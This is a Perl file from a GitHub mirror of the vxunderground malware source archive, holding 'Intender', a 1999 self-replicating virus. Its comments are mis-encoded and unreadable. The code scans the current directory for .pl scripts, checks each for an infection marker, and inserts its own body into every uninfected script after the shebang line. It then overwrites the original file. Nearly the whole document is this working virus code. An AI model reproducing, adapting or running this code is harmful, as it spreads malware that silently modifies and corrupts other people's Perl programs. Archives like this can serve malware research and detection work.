mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
67 lines
1.9 KiB
Plaintext
67 lines
1.9 KiB
Plaintext
|
#here virus starts
|
|||
|
|
# Intender by -Byst- (c) 1999
|
|||
|
|
$source = __FILE__;
|
|||
|
|
while (<*.pl>)
|
|||
|
|
{
|
|||
|
|
$name = $_; # <20><><EFBFBD> <20> <20><> -<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
$cname = crypt($name,$name); # <20><><EFBFBD> <20><EFBFBD><E0AEAC><EFBFBD><EFBFBD><EFBFBD>筮<EFBFBD><E7ADAE> <20> <20><>
|
|||
|
|
|
|||
|
|
# <20><EFBFBD>ਬ <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> 㦥 <20> <20><>?
|
|||
|
|
|
|||
|
|
open(TARGET,"<$name"); # <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
$allready_infected = 0;
|
|||
|
|
while (<TARGET>) {
|
|||
|
|
if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
|
|||
|
|
{ $allready_infected = 1;} # 㦥 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>!
|
|||
|
|
}
|
|||
|
|
close(TARGET);
|
|||
|
|
if ($allready_infected == 1 )
|
|||
|
|
{ next;} # <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4> <20> <><E1ABA5><EFBFBD>饩 <20><><EFBFBD>⢥
|
|||
|
|
|
|||
|
|
# <20><EFBFBD>ਬ, <20><><EFBFBD> <20><> <20> ⥫<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ப ⨯ !/usr/bin/perl
|
|||
|
|
open(TARGET,"<$name"); # <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
$flag = 0;
|
|||
|
|
while (<TARGET>) {
|
|||
|
|
if (index($_,"\x23!") == 0) # <20> 諨 <20> <20><><EFBFBD> <20><>ப<EFBFBD>
|
|||
|
|
{ $flag = 1;} # <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20>
|
|||
|
|
}
|
|||
|
|
close(TARGET);
|
|||
|
|
|
|||
|
|
# <20><><EFBFBD><EFBFBD> <20><> <20> <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ன ᮤ<>ন<EFBFBD><E0A6A8><EFBFBD> <20>맮<EFBFBD> <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
|
open(TARGET,"<$name"); # <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
open(FBUF,">$cname"); # <20><EFBFBD><E0AEAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><>
|
|||
|
|
|
|||
|
|
if ($flag == 1) { # <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 祭<><E7A5AD> <20> <20> <20> <20>ண<EFBFBD> <20><><EFBFBD>?
|
|||
|
|
while (<TARGET>) { # <20>饬 <20><><EFBFBD>
|
|||
|
|
print(FBUF); # <20><><EFBFBD><EFBFBD> <20>塞 <20><><EFBFBD> <20><>ப<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> #!
|
|||
|
|
if (index($_,"\x23!") == 0 ) # <20> , <20><><EFBFBD> <20> <20> <20> <20><> <20>ண<EFBFBD> <20><><EFBFBD>
|
|||
|
|
{ last;}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# <20>饬 ⥫ <20><><EFBFBD>楤<EFBFBD><E6A5A4>
|
|||
|
|
$_ = "\n";print(FBUF);
|
|||
|
|
open(SOURCE,"<$source"); # <20> <20><><EFBFBD>騩 <20> <20><>
|
|||
|
|
while(<SOURCE>) { # <20>饬 <20>ਧ<EFBFBD> <20> <20> <20> <20> - "#here virus starts"
|
|||
|
|
if (index($_,"\x23here virus starts") == 0) { last;}
|
|||
|
|
}
|
|||
|
|
print(FBUF);
|
|||
|
|
# <20><><EFBFBD><EFBFBD> ⥪<><E2A5AA> <20><><EFBFBD>楤<EFBFBD><E6A5A4> -> <20><EFBFBD><E0AEAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><>
|
|||
|
|
while (<SOURCE>) {
|
|||
|
|
print(FBUF);
|
|||
|
|
if (index($_,"\x23here virus ends") == 0) { last;}
|
|||
|
|
}
|
|||
|
|
close(SOURCE);
|
|||
|
|
$_ = "\n";print(FBUF);
|
|||
|
|
# <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -> <20><EFBFBD><E0AEAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><>
|
|||
|
|
while (<TARGET>) {
|
|||
|
|
print(FBUF);
|
|||
|
|
}
|
|||
|
|
close(TARGET);
|
|||
|
|
close(FBUF);
|
|||
|
|
rename($cname,$name);
|
|||
|
|
}
|
|||
|
|
#here virus ends
|
|||
|
|
|
|||
|
|
|